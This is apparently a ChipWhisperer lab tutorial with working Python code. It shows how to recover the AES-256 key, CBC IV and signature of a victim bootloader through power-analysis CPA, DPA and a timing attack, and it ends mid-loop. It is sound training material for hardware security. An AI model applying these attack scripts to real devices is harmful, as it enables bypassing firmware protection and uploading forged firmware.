This tutorial will take you through a complete attack on an encrypted bootloader using AES-256. This demonstrates how to use side-channel power analysis on practical systems, along with discussing how to perform analysis with different Analyzer models.
SCOPETYPE = 'OPENADC'
PLATFORM = 'CWLITEXMEGA'
In the world of microcontrollers, a bootloader is a special piece of firmware that is made to let the user upload new programs into memory. This is especially useful for devices with complex code that may need to be patched or otherwise updated in the future - a bootloader makes it possible for the user to upload a patched version of the firmware onto the micro. The bootloader receives information from a communication line (a USB port, serial port, ethernet port, WiFi connection, etc...) and stores this data into program memory. Once the full firmware has been received, the micro can happily run its updated code.
There is one big security issue to worry about with bootloaders. A company may want to stop their customers from writing their own firmware and uploading it onto the micro. For example, this might be for protection reasons - hackers might be able to access parts of the device that weren't meant to be accessed. One way of stopping this is to add encryption. The company can add their own secret signature to the firmware code and encrypt it with a secret key. Then, the bootloader can decrypt the incoming firmware and confirm that the incoming firmware is correctly signed. Users will not know the secret key or the signature tied to the firmware, so they won't be able to "fake" their own.
This tutorial will work with a simple AES-256 bootloader. The victim will receive data through a serial connection, decrypt the command, and confirm that the included signature is correct. Then, it will only save the code into memory if the signature check succeeded. To make this system more robust against attacks, the bootloader will use cipher-block chaining (CBC mode). Our goal is to find the secret key and the CBC initialization vector so that we could successfully fake our own firmware.
The bootloader's communications protocol operates over a serial port at 38400 baud rate. The bootloader is always waiting for new data to be sent in this example; in real life one would typically force the bootloader to enter through a command sequence.
Commands sent to the bootloader look as follows:
|<-------- Encrypted block (16 bytes) ---------->|
| |
+------+------+------+------+------+------+ .... +------+------+------+
| 0x00 | Signature (4 Bytes) | Data (12 Bytes) | CRC-16 |
+------+------+------+------+------+------+ .... +------+------+------+
This frame has four parts:
0x00: 1 byte of fixed headerAs described in the diagram, the 16 byte block is not sent as plaintext. Instead, it is encrypted using AES-256 in CBC mode. This encryption method will be described in the next section.
The bootloader responds to each command with a single byte indicating if the CRC-16 was OK or not:
+------+
CRC-OK: | 0xA1 |
+------+
+------+
CRC Failed: | 0xA4 |
+------+
Then, after replying to the command, the bootloader veries that the signature is correct. If it matches the expected manufacturer's signature, the 12 bytes of data will be written to flash memory. Otherwise, the data is discarded.
The system uses the AES algorithm in Cipher Block Chaining (CBC) mode. In general one avoids using encryption 'as-is' (i.e. Electronic Code Book), since it means any piece of plaintext always maps to the same piece of ciphertext. Cipher Block Chaining ensures that if you encrypted the same thing a bunch of times it would always encrypt to a new piece of ciphertext.
You can see another reference on the design of the encryption side; we'll be only talking about the decryption side here. In this case AES-256 CBC mode is used as follows, where the details of the AES-256 Decryption block will be discussed in detail later:

This diagram shows that the output of the decryption is no longer used directly as the plaintext. Instead, the output is XORed with a 16 byte mask, which is usually taken from the previous ciphertext. Also, the first decryption block has no previous ciphertext to use, so a secret initialization vector (IV) is used instead. If we are going to decrypt the entire ciphertext (including block 0) or correctly generate our own ciphertext, we'll need to find this IV along with the AES key.
The system in this tutorial uses AES-256 encryption, which has a 256 bit (32 byte) key - twice as large as the 16 byte key we've attacked in previous tutorials. This means that our regular AES-128 CPA attacks won't quite work. However, extending these attacks to AES-256 is fairly straightforward: the theory is explained in detail in Extending AES-128 Attacks to AES-256.
As the theory page explains, our AES-256 attack will have 4 steps:
For this tutorial, we'll be using the bootloader-aes256 project, which we'll build as usual:
%%bash -s "$PLATFORM"
cd ../../hardware/victims/firmware/bootloader-aes256
make PLATFORM=$1 CRYPTO_TARGET=NONE
To start, we'll proceed with setup as usual:
%run "Helper_Scripts/Setup.ipynb"
fw_path = "../../hardware/victims/firmware/bootloader-aes256/bootloader-aes256-{}.hex".format(PLATFORM)
cw.programTarget(scope, prog, fw_path)
The next step we'll need to take in attacking this target is to communicate with it. Most of the transmission is fairly straight forward, but the CRC is a little tricky. Luckily, there's a lot of open source out there for calculating CRCs. In this case, we'll pull some code from pycrc:
# Class Crc
#############################################################
# These CRC routines are copy-pasted from pycrc, which are:
# Copyright (c) 2006-2013 Thomas Pircher <tehpeh@gmx.net>
#
class Crc(object):
"""
A base class for CRC routines.
"""
def __init__(self, width, poly):
"""The Crc constructor.
The parameters are as follows:
width
poly
reflect_in
xor_in
reflect_out
xor_out
"""
self.Width = width
self.Poly = poly
self.MSB_Mask = 0x1 << (self.Width - 1)
self.Mask = ((self.MSB_Mask - 1) << 1) | 1
self.XorIn = 0x0000
self.XorOut = 0x0000
self.DirectInit = self.XorIn
self.NonDirectInit = self.__get_nondirect_init(self.XorIn)
if self.Width < 8:
self.CrcShift = 8 - self.Width
else:
self.CrcShift = 0
def __get_nondirect_init(self, init):
"""
return the non-direct init if the direct algorithm has been selected.
"""
crc = init
for i in range(self.Width):
bit = crc & 0x01
if bit:
crc ^= self.Poly
crc >>= 1
if bit:
crc |= self.MSB_Mask
return crc & self.Mask
def bit_by_bit(self, in_data):
"""
Classic simple and slow CRC implementation. This function iterates bit
by bit over the augmented input message and returns the calculated CRC
value at the end.
"""
# If the input data is a string, convert to bytes.
if isinstance(in_data, str):
in_data = [ord(c) for c in in_data]
register = self.NonDirectInit
for octet in in_data:
for i in range(8):
topbit = register & self.MSB_Mask
register = ((register << 1) & self.Mask) | ((octet >> (7 - i)) & 0x01)
if topbit:
register ^= self.Poly
for i in range(self.Width):
topbit = register & self.MSB_Mask
register = ((register << 1) & self.Mask)
if topbit:
register ^= self.Poly
return register ^ self.XorOut
bl_crc = Crc(width = 16, poly=0x1021)
Now we can easily get the CRC for our message by calling bl_crc.bit_by_bit(message).
With that done, we can start communicating with the bootloader. Recall that the bootloader expects:
0x00We don't really care what the 16 byte message is (just that each is different so that we get a variety of hamming weights), so we'll use the same text/key module from earlier attacks.
We can now run the following block, and we should get 0xA4 back. You may need to run this block a few times to get the right response back.
import time
okay = 0
reset_target(scope)
while not okay:
target.ser.write("\0xxxxxxxxxxxxxxxxxx")
time.sleep(0.01)
num_char = target.ser.inWaiting()
response = target.ser.read(num_char)
if response:
if ord(response[0]) == 0xA1:
okay = 1
import time
message = [0x00]
ktp = cw.ktp.Basic(target=target)
# clear serial buffer
num_char = target.ser.inWaiting()
print(target.ser.read(num_char))
key, text = ktp.newPair() #don't care about key here
message.extend(text)
crc = bl_crc.bit_by_bit(text)
message.append(crc >> 8)
message.append(crc & 0xFF)
target.ser.write(message)
time.sleep(0.1)
num_char = target.ser.inWaiting()
response = target.ser.read(num_char)
print("Response: {:02X}".format(ord(response[0])))
With that out of the way, we can proceed to capturing our traces. The normal 5000 traces we capture isn't long enough to get the rounds we care about, so we'll need to increase it (15000 should be fine):
scope.adc.samples = 15000
We'll be working with Analyzer, so we'll need to use a ChipWhisperer project to store our traces and text:
project = cw.createProject("projects/Tutorial_A5.cwp", overwrite=True)
tc = project.getTraceFormat()
ktp = cw.ktp.Basic(target=target)
Below you'll find our capture loop. This will be pretty similar to Tutorial B5, but we've added our communication code. We also check the response and just skip the data we get if it isn't correct.
#Capture Traces
from tqdm import tqdm
import numpy as np
import time
keys = []
N = 200 # Number of traces
target.init()
for i in tqdm(range(N), desc='Capturing traces'):
message = [0x00]
num_char = target.ser.inWaiting()
target.ser.read(num_char)
key, text = ktp.newPair() # manual creation of a key, text pair can be substituted here
keys.append(key)
message.extend(text)
crc = bl_crc.bit_by_bit(text)
message.append(crc >> 8)
message.append(crc & 0xFF)
# run aux stuff that should run before the scope arms here
scope.arm()
# run aux stuff that should run after the scope arms here
target.ser.write(message)
timeout = 50
# wait for target to finish
while target.isDone() is False and timeout:
timeout -= 1
time.sleep(0.01)
try:
ret = scope.capture()
if ret:
print('Timeout happened during acquisition')
except IOError as e:
print('IOError: %s' % str(e))
# run aux stuff that should happen after trace here
num_char = target.ser.inWaiting()
response = target.ser.read(num_char)
if ord(response[0]) != 0xA4:
# Bad response, just skip
print("Bad response: {:02X}".format(ord(response[0])))
continue
tc.addTrace(scope.getLastTrace(), text, "", key)
tc._isloaded = True
project.traceManager().appendSegment(tc)
Now that we have our traces, we can go ahead and perform the attack. As described in the background theory, we'll have to do two attacks - one to get the 14th round key, and another (using the first result) to get the 13th round key. Then, we'll do some post-processing to finally get the 256 bit encryption key.
We can attack the 14th round key with a standard, no-frills CPA attack (using the inverse sbox, since it's a decryption that we're breaking):
import chipwhisperer as cw
tm = project.traceManager()
leak_model = cw.AES128(cw.aes128leakage.InvSBox_output)
attack = cw.cpa(tm, leak_model)
With the setup done, we can actually preform the attack. 11000 samples is a rather large amount to chew through, so if you want a faster attack you can use a smaller range in attack.setPointRange(). (2900, 4200) will work for XMEGA, while (1400, 2600) will work for the STM32F3 (CWLite ARM).
key = [0xea, 0x79, 0x79, 0x20, 0xc8, 0x71, 0x44, 0x7d, 0x46, 0x62, 0x5f, 0x51, 0x85, 0xc1, 0x3b, 0xcb]
cb = cw.getJupyterCallback(attack)
if PLATFORM == "CWLITEARM" or PLATFORM == "CW308_STM32F3":
attack.setPointRange((1400, 2600))
elif PLATFORM == "CWLITEXMEGA" or PLATFORM == "CW303":
pass#attack.setPointRange((2900, 5600))
attack_results = attack.processTracesNoGUI(cb)
rec_key = []
for bnum in attack_results.findMaximums():
rec_key.append(bnum[0][0])
print("Best Guess = 0x{:02X}, Corr = {}".format(bnum[0][0], bnum[0][2]))
Analyzer doesn't have a leakage model for the 13th round key built in, so we'll need to create our own. An example class is shown below along with the beginning of the setup. NOTE: You'll need to update calc_round_key with the key you found in the last step
import chipwhisperer as cw
class AES256_Round13_Model(cw.aes128leakage.AESLeakageHelper):
def leakage(self, pt, ct, guess, bnum):
#You must put YOUR recovered 14th round key here - this example may not be accurate!
calc_round_key = [0xea, 0x79, 0x79, 0x20, 0xc8, 0x71, 0x44, 0x7d, 0x46, 0x62, 0x5f, 0x51, 0x85, 0xc1, 0x3b, 0xcb]
xored = [calc_round_key[i] ^ pt[i] for i in range(0, 16)]
block = xored
block = self.inv_shiftrows(block)
block = self.inv_subbytes(block)
block = self.inv_mixcolumns(block)
block = self.inv_shiftrows(block)
result = block
return self.inv_sbox((result[bnum] ^ guess[bnum]))
leak_model = cw.AES128(AES256_Round13_Model)
attack = cw.cpa(tm, leak_model)
The traces for the XMEGA version of the firmware become desynced around sample 7000. This is due to a non-constant AES implementation: the code does not always take the same amount of time to run for every input. (It's actually possible to do a timing attack on this AES implementation! We'll stick with our CPA attack for now.)
While this does open up a timing attack, it actually makes our AES attack a little harder, since we'll have to resync the traces. Luckily, this can be done pretty easily by using the ResyncSAD preprocessing module:
resync_traces = cw.preprocessing.ResyncSAD(tm, connectTracePlot=False)
resync_traces.enabled = True
resync_traces.ref_trace = 0
resync_traces.target_window = (9100, 9300)
resync_traces.max_shift = 200
attack.setTraceSource(resync_traces)
Like in the 14th round attack, we can use a smaller range of points to make the attack faster. (8000,10990) works well for the XMEGA, while (6500, 8500) works well for the STM32F3.
if PLATFORM == "CWLITEARM" or PLATFORM == "CW308_STM32F3":
attack.setPointRange((6500,8500))
elif PLATFORM == "CWLITEXMEGA" or PLATFORM == "CW303":
attack.setPointRange((8000,10990))
attack_results = attack.processTracesNoGUI(cb)
You can run the block below and the correct key should be printed out:
rec_key2 = []
for bnum in attack_results.findMaximums():
print("Best Guess = 0x{:02X}, Corr = {}".format(bnum[0][0], bnum[0][2]))
rec_key2.append(bnum[0][0])
This, however, isn't actually the 13th round key. To get the real 13th round key, we'll need to run what we've recovered through a shiftrows() and mixcolumns() operation:
from chipwhisperer.analyzer.attacks.models.aes.funcs import shiftrows,mixcolumns
real_key2 = shiftrows(rec_key2)
real_key2 = mixcolumns(real_key2)
print("Recovered:", end="")
for subkey in real_key2:
print(" {:02X}".format(subkey), end="")
print("")
We now have everything we need to recover the full key! We'll start by combining the 13th and 14th round keys:
rec_key_comb = real_key2.copy()
rec_key_comb.extend(rec_key)
print("Key:", end="")
for subkey in rec_key_comb:
print(" {:02X}".format(subkey), end="")
print("")
and then we can use the AES128_8bit leakage model to recover the first two rounds:
btldr_key = leak_model.keyScheduleRounds(rec_key_comb, 13, 0)
btldr_key.extend(leak_model.keyScheduleRounds(rec_key_comb, 13, 1))
print("Key:", end="")
for subkey in btldr_key:
print(" {:02X}".format(subkey), end="")
print("")
You should see a 32 byte key printed out. Open supersecret.h, confirm that we have the right key, and celebrate!
Now that we have the encryption key, we can proceed onto an attack of the next secret value: the IV.
Here, we have the luxury of seeing the source code of the bootloader. This is generally not something we would have access to in the real world, so we'll try not to use it to cheat. (peeking at supersecret.h counts as cheating). Instead, we'll use the source to help us identify important parts of the power traces.
Inside the bootloader's main loop, it does three tasks that we're interested in:
This snippet from bootloader.c shows all three of the tasks:
// Continue with decryption
trigger_high();
aes256_decrypt_ecb(&ctx, tmp32);
trigger_low();
// Apply IV (first 16 bytes)
for (i = 0; i < 16; i++){
tmp32[i] ^= iv[i];
}
//Save IV for next time from original ciphertext
for (i = 0; i < 16; i++){
iv[i] = tmp32[i+16];
}
// Tell the user that the CRC check was okay
putch(COMM_OK);
putch(COMM_OK);
//Check the signature
if ((tmp32[0] == SIGNATURE1) &&
(tmp32[1] == SIGNATURE2) &&
(tmp32[2] == SIGNATURE3) &&
(tmp32[3] == SIGNATURE4)){
// Delay to emulate a write to flash memory
_delay_ms(1);
}
This gives us a pretty good idea of how the microcontroller is going to do its job, but if you'd like to go further, you can open the .lss file for the binary that was built. This is called a listing file and it lets you see the assembly that the C was compiled and linked to.
As you can see from both files, after the decryption process, the bootloader executes a few distinct pieces of code:
We should be able to recognize these four parts of the code in the power traces. Let's modify our capture routine to find them:
Let's start by reducing our samples and making a function to reset our target (depending on your target, you may need to change the reset pin):
import time
scope.adc.samples = 3000
We can trigger on a falling edge by changing scope.adc.basic_mode to "falling_edge":
scope.adc.basic_mode = "falling_edge"
We can flush the serial line by sending an invalid message, then checking for a bad CRC return value (0xA1). Let's make sure our changes work by getting a trace:
from bokeh.plotting import figure, show
from bokeh.io import output_notebook
reset_target(scope)
message = [0x00]
num_char = target.ser.inWaiting()
target.ser.read(num_char)
key, text = ktp.newPair() # manual creation of a key, text pair can be substituted here
message.extend(text)
crc = bl_crc.bit_by_bit(text)
message.append(crc >> 8)
message.append(crc & 0xFF)
#flush target's serial
okay = 0
while not okay:
target.ser.write("\0xxxxxxxxxxxxxxxxxx")
time.sleep(0.005)
num_char = target.ser.inWaiting()
response = target.ser.read(num_char)
if response:
if ord(response[0]) == 0xA1:
okay = 1
scope.arm()
target.ser.write(message)
timeout = 50
# wait for target to finish
while target.isDone() is False and timeout:
timeout -= 1
time.sleep(0.01)
try:
ret = scope.capture()
if ret:
print('Timeout happened during acquisition')
except IOError as e:
print('IOError: %s' % str(e))
# run aux stuff that should happen after trace here
num_char = target.ser.inWaiting()
response = target.ser.read(num_char)
if ord(response[0]) != 0xA4:
# Bad response, just skip
print("Bad response: {:02X}".format(ord(response[0])))
trace = scope.getLastTrace()
output_notebook()
p = figure()
xrange = range(len(trace))
p.line(xrange, trace, line_color="red")
show(p)
You should see 5 different sections:
Different targets have different power traces (for example, on Arm the XORs and register loads are almost identical), but hopefully you can pick out where each section is. For example, on XMEGA:
With all of these things clearly visible, we have a pretty good idea of how to attack the IV and the signature. We should be able to look at each of the XOR spikes to find each of the IV bytes - each byte is processed on its own. Then, the signature check uses a short-circuiting comparison: as soon as it finds a byte in error, it stops checking the remaining bytes. This type of check is susceptible to a timing attack.
With those things done, we can move onto our capture loop. It's pretty similar to our last one. We're done with Analyzer, so we can store our traces in Python lists (we'll convert to numpy arrays later for easy analysis).
from tqdm import tqdm
import numpy as np
import time
traces = []
keys = []
plaintexts = []
if PLATFORM == "CWLITEARM" or PLATFORM == "CW308_STM32F3":
N = 100 # Number of traces
elif PLATFORM == "CWLITEXMEGA" or PLATFORM == "CW303":
N=250
target.init()
for i in tqdm(range(N), desc='Capturing traces'):
reset_target(scope)
message = [0x00]
num_char = target.ser.inWaiting()
target.ser.read(num_char)
key, text = ktp.newPair() # manual creation of a key, text pair can be substituted here
keys.append(key)
plaintexts.append(text)
message.extend(text)
crc = bl_crc.bit_by_bit(text)
message.append(crc >> 8)
message.append(crc & 0xFF)
# run aux stuff that should run before the scope arms here
#flush target's serial
okay = 0
while not okay:
target.ser.write("\0xxxxxxxxxxxxxxxxxx")
time.sleep(0.005)
num_char = target.ser.inWaiting()
response = target.ser.read(num_char)
if response:
if ord(response[0]) == 0xA1:
okay = 1
scope.arm()
# run aux stuff that should run after the scope arms here
target.ser.write(message)
timeout = 50
# wait for target to finish
while target.isDone() is False and timeout:
timeout -= 1
time.sleep(0.01)
try:
ret = scope.capture()
if ret:
print('Timeout happened during acquisition')
continue
except IOError as e:
print('IOError: %s' % str(e))
# run aux stuff that should happen after trace here
num_char = target.ser.inWaiting()
response = target.ser.read(num_char)
if ord(response[0]) != 0xA4:
# Bad response, just skip
print("Bad response: {:02X}".format(ord(response[0])))
continue
traces.append(scope.getLastTrace())
The bootloader applies the IV to the AES decryption result by calculating
$\text{PT} = \text{DR} \oplus \text{IV}$
where DR is the decrypted ciphertext, IV is the secret vector, and PT is the plaintext that the bootloader will use later. We only have access to one of these: since we know the AES-256 key, we can calculate DR. This exclusive or should be visible in the power traces
This is enough information for us to attack a single bit of the IV. Suppose we only wanted to get the first bit (number 0) of the IV. We could do the following:
(PT[0] = DR[0]) or if the IV bit is 1 (PT[0] = ~DR[0]).This is effectively a DPA attack on a single bit of the IV. We can repeat this attack 128 times to recover the entire IV.
Recall that we're looking for the xor operation between the last decrypted block, so we'll need to decrypt it up to that point. The PyCrypto includes an AES decryption routine, so we'll be using that. We'll start by importing the necessary modules and converting our traces/plaintext to numpy arrays:
from Crypto.Cipher import AES
import numpy as np
trace_array = np.asarray(traces) # if you prefer to work with numpy array for number crunching
textin_array = np.asarray(plaintexts)
numTraces = len(trace_array)
traceLen = len(trace_array[0])
Next we'll do the AES256 decryption. If you got a different key in the earlier part, you'll need to change knownkey.
knownkey = [0x94, 0x28, 0x5D, 0x4D, 0x6D, 0xCF, 0xEC, 0x08, 0xD8, 0xAC, 0xDD, 0xF6, 0xBE, 0x25, 0xA4, 0x99,
0xC4, 0xD9, 0xD0, 0x1E, 0xC3, 0x40, 0x7E, 0xD7, 0xD5, 0x28, 0xD4, 0x09, 0xE9, 0xF0, 0x88, 0xA1]
knownkey = bytes(knownkey)
dr = []
aes = AES.new(knownkey, AES.MODE_ECB)
for i in range(numTraces):
ct = bytes(textin_array[i])
pt = aes.decrypt(ct)
d = [bytearray(pt)[i] for i in range(16)]
dr.append(d)
Now, let's split the traces into two groups by comparing bit 0 of the DR:
groupedTraces = [[] for _ in range(2)]
for i in range(numTraces):
bit0 = dr[i][0] & 0x01
groupedTraces[bit0].append(trace_array[i])
print(len(groupedTraces[0]))
If you have 1000 traces, you should expect this to print a number around 500 - roughly half of the traces should fit into each group. Now, NumPy's average function lets us easily calculate the average at each point:
# Find averages and differences
means = []
for i in range(2):
means.append(np.average(groupedTraces[i], axis=0))
diff = means[1] - means[0]
Finally, we can plot this difference to see if we can spot the IV:
# Split traces into 2 groups
from bokeh.plotting import figure, show
from bokeh.io import output_notebook
output_notebook()
p = figure()
xrange = range(len(diff))
xrange2 = range(len(traces[0]))
p.line(xrange, diff, line_color="red")
#p.line(xrange2, traces[0], line_color='blue')
show(p)
You should see a few visible spikes. We're looking for the XOR for byte 0 here, so any later spikes won't be the XOR. Use bokeh's zoom functionality to pinpoint all the largest spikes and record their sample location. You'll probably need to record a few: only one is the correct spike, but we won't be able to tell until we repeat this with other bytes. For example, you might have spikes at 37, 41, and 45. Make sure you record all these values. These peaks won't all be above 0, so make sure you're looking at both positive and negative values.
Next, we'll need to repeat this with a few more bytes. To make things easier, the necessary code has been combined into the below block. Increment the 0 in bit0 = dr[i][0] & 0x01 to other numbers to attack other bytes. Attacking bytes 0 through 3 should be sufficient.
def get_diff_plot(bit):
groupedTraces = [[] for _ in range(2)]
for i in range(numTraces):
bit0 = dr[i][bit] & 0x01
groupedTraces[bit0].append(trace_array[i])
print(len(groupedTraces[0]))
# Find averages and differences
means = []
for i in range(2):
means.append(np.average(groupedTraces[i], axis=0))
diff = means[1] - means[0]
return diff
# Split traces into 2 groups
diffs = [get_diff_plot(0), get_diff_plot(1), get_diff_plot(2), get_diff_plot(3), get_diff_plot(4)]
from bokeh.plotting import figure, show
from bokeh.io import output_notebook
output_notebook()
p = figure()
xrange = range(len(diffs[0]))
p.line(xrange, diffs[0], line_color="red")
p.line(xrange, diffs[2] - 6E-3, line_color="green")
p.line(xrange, diffs[1] - 3E-3, line_color="blue")
p.line(xrange, diffs[3] - 9E-3, line_color="purple")
p.line(xrange, diffs[4] - 12E-3, line_color="yellow")
show(p)
Now that you have some peak data, you'll want to use this to find the time shift between XORs. This time shift should be constant between samples and needs to work for all samples (each run through the loop is the same, so it makes sense that the time shift should be constant). For example, you might have:
0th byte @ 37, 41
1st byte @ 77, 81
2nd byte @ 105, 117, 121
3rd byte @ 141, 157, 161
4th byte @ 197, 201
With this data, peaks at 41, 81, 121, 161, and 201 have a constant time shift of 40. This means the location of the XORs is 41 + 40 * byte#
The best way to attack the IV would be to repeat the 1-bit conceptual attack for each of the bits. Try to do this yourself! (Really!) If you're stuck, here are a few hints to get you going:
One easy way of looping through the bits is by using two nested loops, like this:
for byte in range(16):
for bit in range(8):
# Attack bit number (byte*8 + bit)
The sample that you'll want to look at will depend on which byte you're attacking. We had success when we used location = 51 + byte*60, but your mileage will vary.
The bitshift operator and the bitwise-AND operator are useful for getting at a single bit:
# This will either result in a 0 or a 1
checkIfBitSet = (byteToCheck >> bit) & 0x01
If you're really, really stuck, the end of this tutorial has a working script. After finding the IV, check supersecret.h and verify that your attack was successful.
btldr_IV = [0] * 16
for byte in range(16):
if PLATFORM == "CWLITEARM" or PLATFORM == "CW308_STM32F3":
location = 41 + byte * 40
elif PLATFORM == "CWLITEXMEGA" or PLATFORM == "CW303":
location = 49 + byte * 60
iv = 0
for bit in range(8):
pt_bits = [((dr[i][byte] >> (7-bit)) & 0x01) for i in range(numTraces)]
# Split traces into 2 groups
groupedPoints = [[] for _ in range(2)]
for i in range(numTraces):
groupedPoints[pt_bits[i]].append(trace_array[i][location])
means = []
for i in range(2):
means.append(np.average(groupedPoints[i]))
diff = means[1] - means[0]
iv_bit = 1 if diff > 0 else 0
iv = (iv << 1) | iv_bit
print(iv_bit, end = " ")
print("{:02X}".format(iv))
btldr_IV[byte] = iv
print(btldr_IV)
The last thing we can do with this bootloader is attack the signature. This final section will show how one byte of the signature could be recovered. If you want more of this kind of analysis, a more complete timing attack is shown in Tutorial B3-1 Timing Analysis with Power for Password Bypass.
Recall from earlier that the signature check in C looks like:
if ((tmp32[0] == SIGNATURE1) &&
(tmp32[1] == SIGNATURE2) &&
(tmp32[2] == SIGNATURE3) &&
(tmp32[3] == SIGNATURE4)){
In C, boolean expressions support short-circuiting. When checking multiple conditions, the program will stop evaluating these booleans as soon as it can tell what the final value will be. In this case, unless all four of the equality checks are true, the result will be false. Thus, as soon as the program finds a single false condition, it's done.
Open the listing file for your binary (.lss), find the signature check, and confirm that this is happening. For example, on the STM32F3, the assembly looks like this:
//Check the signature
if ((tmp32[0] == SIGNATURE1) &&
8000338: f89d 3018 ldrb.w r3, [sp, #24]
800033c: 2b00 cmp r3, #0
800033e: d1c2 bne.n 80002c6 <main+0x52>
8000340: f89d 2019 ldrb.w r2, [sp, #25]
8000344: 2aeb cmp r2, #235 ; 0xeb
8000346: d1be bne.n 80002c6 <main+0x52>
(tmp32[1] == SIGNATURE2) &&
8000348: f89d 201a ldrb.w r2, [sp, #26]
800034c: 2a02 cmp r2, #2
800034e: d1ba bne.n 80002c6 <main+0x52>
(tmp32[2] == SIGNATURE3) &&
8000350: f89d 201b ldrb.w r2, [sp, #27]
8000354: 2a1d cmp r2, #29
8000356: d1b6 bne.n 80002c6 <main+0x52>
(tmp32[3] == SIGNATURE4)){
This assembly code confirms the short-circuiting operation. Each of the four assembly blocks include a comparison and a conditional branch. All four of the conditional branches (bne.n) return the program to the same location (the start of the while(1) loop). All four branches must fail to get into the body of the if block.
The short-circuiting conditions are perfect for us. We can use our power traces to watch how long it takes for the signature check to fail. If the check takes longer than usual, then we know that the first byte of our signature was right.
Our capture loop will be pretty similar to the one we used to break the IV, but now that we know the secret values of the encryption process we can make some improvements by encrypting the text that we send. This has two important advantages:
To perform the AES256 CBC encryption, there's a few steps we need to take:
We can use PyCrypto again to make the encryption process easy and the other two steps are simple operations. We'll run our loop 256 times (one for each possible byte value) and assign that value to the byte we want to check. We're not quite sure where the check is happening, so we'll be safe and capture 24000 traces. Everthing else should look familiar from earlier parts of the tutorial:
from tqdm import tqdm
import numpy as np
from Crypto.Cipher import AES
import time
traces = []
keys = []
plaintexts = []
iv = [0xC1, 0x25, 0x68, 0xDF, 0xE7, 0xD3, 0x19, 0xDA, 0x10, 0xE2, 0x41, 0x71, 0x33, 0xB0, 0xEB, 0x3C]
knownkey = [0x94, 0x28, 0x5D, 0x4D, 0x6D, 0xCF, 0xEC, 0x08, 0xD8, 0xAC, 0xDD, 0xF6, 0xBE, 0x25, 0xA4, 0x99,
0xC4, 0xD9, 0xD0, 0x1E, 0xC3, 0x40, 0x7E, 0xD7, 0xD5, 0x28, 0xD4, 0x09, 0xE9, 0xF0, 0x88, 0xA1]
knownkey = bytes(knownkey)
aes = AES.new(knownkey, AES.MODE_ECB)
N = 256 # Number of traces
reset_target(scope)
okay=0
scope.adc.basic_mode = "falling_edge"
while not okay:
target.ser.write("\0xxxxxxxxxxxxxxxxxx")
time.sleep(0.005)
num_char = target.ser.inWaiting()
response = target.ser.read(num_char)
if response:
if ord(response[0]) == 0xA1:
okay = 1
scope.adc.samples = 24000
scope.adc.offset = 0
target.init()
for byte in tqdm(range(N), desc='Attacking Signature Byte'):
message = [0x00]
text = [0] * 16
# the 4 signature bytes
text[0] = byte
text[1] = 0
text[2] = 0
text[3] = 0
num_char = target.ser.inWaiting()
target.ser.read(num_char)
textcpy = [0] * 16
textcpy[:] = text[:]
plaintexts.append(textcpy)
# Apply IV
for i in range(len(iv)):
text[i] ^= iv[i]
# Encrypt text
ct = aes.encrypt(bytes(text))
message.extend(ct)
# Use ct as new IV
iv[:] = ct[:]
crc = bl_crc.bit_by_bit(ct)
message.append(crc >> 8)
message.append(crc & 0xFF)
# run aux stuff that should run before the scope arms here
scope.arm()
# run aux stuff that should run after the scope arms here
target.ser.write(message)
timeout = 50
# wait for target to finish
while target.isDone() is False and timeout:
timeout -= 1
time.sleep(0.01)
try:
ret = scope.capture()
if ret:
print('Timeout happened during acquisition')
continue
except IOError as e:
print('IOError: %s' % str(e))
# run aux stuff that should happen after trace here
num_char = target.ser.inWaiting()
response = target.ser.read(num_char)
if ord(response[0]) != 0xA4:
# Bad response, just skip
print("Bad response: {:02X}".format(ord(response[0])))
continue
traces.append(scope.getLastTrace())
Now that we've captured our traces, the actual analysis is pretty simple. We're looking for a single trace that looks very different from the rest. A simple way to find this is to compare all the traces to a reference trace. We'll use the average of all the traces as our reference:
mean = np.average(traces, axis=0)
That leaves us with comparing the traces. Let's start by plotting the difference between some of the traces and the mean:
from bokeh.plotting import figure, show
from bokeh.io import output_notebook
output_notebook()
p = figure()
colors = ["red", "blue", "green", "yellow"]
for i in range(0,10):
p.line(range(len(traces[i])), traces[i]-mean, line_color=colors[i%4])
show(p)
Depending on your target, you might have seen something like this:

Looks like we've found our trace! However, let's clean this up with some statistics. We can use the correlation coefficient to see which bytes are the furthest away from the average. We only want to take the correlation across where the plots differ, chose a subset of the plot where there's a large difference. In the case of the above picture, the difference starts at around 18k, and continues until the end. A range of 18000 to 20000 should work nicely:
corr = []
for i in range(256):
corr.append(np.corrcoef(mean[18000:20000], traces[i][18000:20000])[0, 1])
print(np.sort(corr))
print(np.argsort(corr))
This output tells us two things:
To finish this attack, change the capture loop to keep the first byte fixed and vary the second byte instead. Repeat this with the rest of the bytes and you should have the signature.
from tqdm import tqdm
import numpy as np
from Crypto.Cipher import AES
import time
traces = []
keys = []
plaintexts = []
btldr_sig = [0] * 4
iv = [0xC1, 0x25, 0x68, 0xDF, 0xE7, 0xD3, 0x19, 0xDA, 0x10, 0xE2, 0x41, 0x71, 0x33, 0xB0, 0xEB, 0x3C]
knownkey = [0x94, 0x28, 0x5D, 0x4D, 0x6D, 0xCF, 0xEC, 0x08, 0xD8, 0xAC, 0xDD, 0xF6, 0xBE, 0x25, 0xA4, 0x99,
0xC4, 0xD9, 0xD0, 0x1E, 0xC3, 0x40, 0x7E, 0xD7, 0xD5, 0x28, 0xD4, 0x09, 0xE9, 0xF0, 0x88, 0xA1]
knownkey = bytes(knownkey)
aes = AES.new(knownkey, AES.MODE_ECB)
N = 256 # Number of traces
reset_target(scope)
okay=0
scope.adc.basic_mode = "falling_edge"
while not okay:
target.ser.write("\0xxxxxxxxxxxxxxxxxx")
time.sleep(0.005)
num_char = target.ser.inWaiting()
response = target.ser.read(num_char)
if response:
if ord(response[0]) == 0xA1:
okay = 1
scope.adc.samples = 24000
scope.adc.offset = 0
target.init()
for bnum in range(4):
traces = []
for byte in tqdm(range(N), desc='Attacking Signature Byte {}'.format(bnum)):
message = [0x00]
text = [0] * 16
# the 4 signature bytes
for j in range(bnum):
text[j] = btldr_sig[j]
text[bnum] = byte
num_char = target.ser.inWaiting()
target.ser.read(num_char)
textcpy = [0] * 16
textcpy[:] = text[:]
plaintexts.append(textcpy)
# Apply IV
for i in range(len(iv)):
text[i] ^= iv[i]
# Encrypt text
ct = aes.encrypt(bytes(text))
message.extend(ct)
# Use ct as new IV
iv[:] = ct[:]
crc = bl_crc.bit_by_bit(ct)
message.append(crc >> 8)
message.append(crc & 0xFF)
# run aux stuff that should run before the scope arms here
scope.arm()
# run aux stuff that should run after the scope arms here
target.ser.write(message)
timeout = 50
# wait for target to finish
while target.isDone() is False and timeout:
timeout -= 1
